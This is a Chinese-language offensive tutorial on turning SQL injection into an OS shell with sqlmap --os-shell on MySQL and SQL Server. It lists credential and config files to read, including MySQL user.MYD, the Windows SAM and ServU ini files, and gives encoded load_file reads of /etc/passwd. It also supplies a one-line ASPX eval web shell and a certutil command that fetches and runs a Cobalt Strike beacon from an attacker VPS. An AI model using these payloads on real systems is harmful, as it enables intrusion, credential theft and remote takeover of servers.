SqlMap –os-shell 利用

MySQL

前提条件

  1. 拥有dba权限

  2. 网站的绝对路径

  3. 高版本的mysql需要 show variables like '%secure_file_priv%' 或者select

    @@secure;或者show global variables like '%secure%';的结果符合要求,secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。这个参数只能通过修改配置文件后重启mysql修改

    • 如果该变量为空,则变量无效,这时候最容易利用
    • 如果变量为目录的绝对路径,则服务器会将导入和导出操作限制为仅适用于该目录中的文件
    • 如果设置为NULL,则服务器禁用导入和导出操作。
  4. 当为php时,magic_quotes_gpc为off,php主动转义的功能关闭**

当执行 –os-shell时,这个时候sqlmap主要做了三件事情:

  1. 进行目标的一个基础信息的探测。
  2. 上传shell到目标web网站上(sqlmap会自动生成两个文件,一个用于命令执行,一个用于上传文件)
  3. 退出时删除shell。

寻找绝对路径

  1. 通过网站报错信息查看绝对路径

  2. 通过搜索引擎获取

    1
    2
    google语法:site:baidu.com warning
    site:baidu.com "fatal error"
  3. 配置文件获取路径
    如果注入点有文件读取权限,就可以通过load_file函数读取配置文件,再从中寻找路径信息。

Sqlmap 下可以使用–sql-shell 获取一个sql命令执行窗口,使用load_file(‘文件名’)读取文件

也可以使用 –file-read=文件名 ,读取文件

sqlmap -u ‘url’ –batch –file-read=/etc/httpd/conf/httpd.conf

  • win 下常见的敏感文件

    常用的绝对路径收集

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    c:/boot.ini //查看系统版本 
    c:/windows/php.ini //php配置信息
    c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
    c:/winnt/php.ini
    c:/winnt/my.ini
    c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
    c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
    c:\Program Files\Serv-U\ServUDaemon.ini
    c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
    c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
    c:\Program Files\Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
    c:\Program Files\RhinoSoft.com\ServUDaemon.exe
    C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
    //存储了pcAnywhere的登陆密码
    c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
    c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
    c:/Resin/conf/resin.conf/usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
    d:\APACHE\Apache2\conf\httpd.conf
    C:\Program Files\mysql\my.ini
    C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
    c:\windows\php.ini      php配置文件
    c:\windows\system32\inetsrv\MetaBase.xml    IIS虚拟主机配置文件
  • Linux 下常见的敏感文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 
    /usr/local/apache2/conf/httpd.conf
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    /usr/local/app/php5/lib/php.ini //PHP相关设置
    /etc/sysconfig/iptables //从中得到防火墙规则策略
    /etc/httpd/conf/httpd.conf // apache配置文件
    /etc/rsyncd.conf //同步程序配置文件
    /etc/my.cnf //mysql的配置文件
    /etc/redhat-release //系统版本
    /etc/issue
    /etc/issue.net
    /usr/local/app/php5/lib/php.ini //PHP相关设置
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
    /etc/sysconfig/iptables 查看防火墙策略
    load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
    replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
    replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
    etc/php.ini          php配置文件
    /etc/httpd/conf.d/php.conf
    /etc/httpd/conf/httpd.conf        Apache配置文件
    /usr/local/apache/conf/httpd.conf
    /usr/local/apache2/conf/httpd.conf
    /usr/local/apache/conf/extra/httpd-vhosts.conf  虚拟目录配置文件
  • 通过执行select @@datadir; 获取数据库数据保存的位置、 select @@basedir; 安装位置、select @@plugin_dir mysql plugin目录

    可能会有一些关键信息,然后对关键信息搜索,查找默认路径

执行–os-shell

成功后会在网站绝对路径下,生成两个文件,一个可以上传,一个可以执行命令。

SqlServer

必要条件

  • 数据库支持外连
  • 数据库权限为SA权限

Sqlserver –os-shell主要是利用xp_cmdshell扩展进行命令执行。

当执行–os-shell 时,这个时候sqlmap主要做了三件事情:

  1. 识别当前数据库类型,然后打印出来。
  2. 检测是否为数据库dba,也就是查看是否为sa权限。
  3. 检测是否开启了xp_cmdshell,如果没有开启sqlmap就会尝试开启。

寻找绝对路径

可以上传一个复杂文件名的文件,比如:l12asd3123_0sads7_08.jpg

或者在网站中找到一个复杂的文件名,觉得会是唯一的,通过命令查找

sqlmap –os-shell 下使用,以下任意一条命令

1
2
for /r e:\ %i in (1*.php) do @echo %i  *必加
dir c:\ d:\ /s /b | find "icon_assignment.gif"

查找文件

上一句话马或者连cs

写一句话木马

echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["weshe11b"],"unsafe");%^> > d:\wwwroot\1azq.aspx

上线CS

使用 certutil.exe -urlcache -split -f http://vpsIP:port/beacon32.exe a32.exe

a32.exe 执行, 有时执行不成功饭是因为权限不够,可以下载到有执行权限的目录(假如c:/temp/ ,有权限,certutil.exe -urlcache -split -f http://vpsIP:port/beacon32.exe c:/temp/a32.exe

总结

在有拥有dba权限后,

  • mysql拿shell的难点在于寻找绝对路径
  • sqlserver在于xp_cmdshell 是否开启。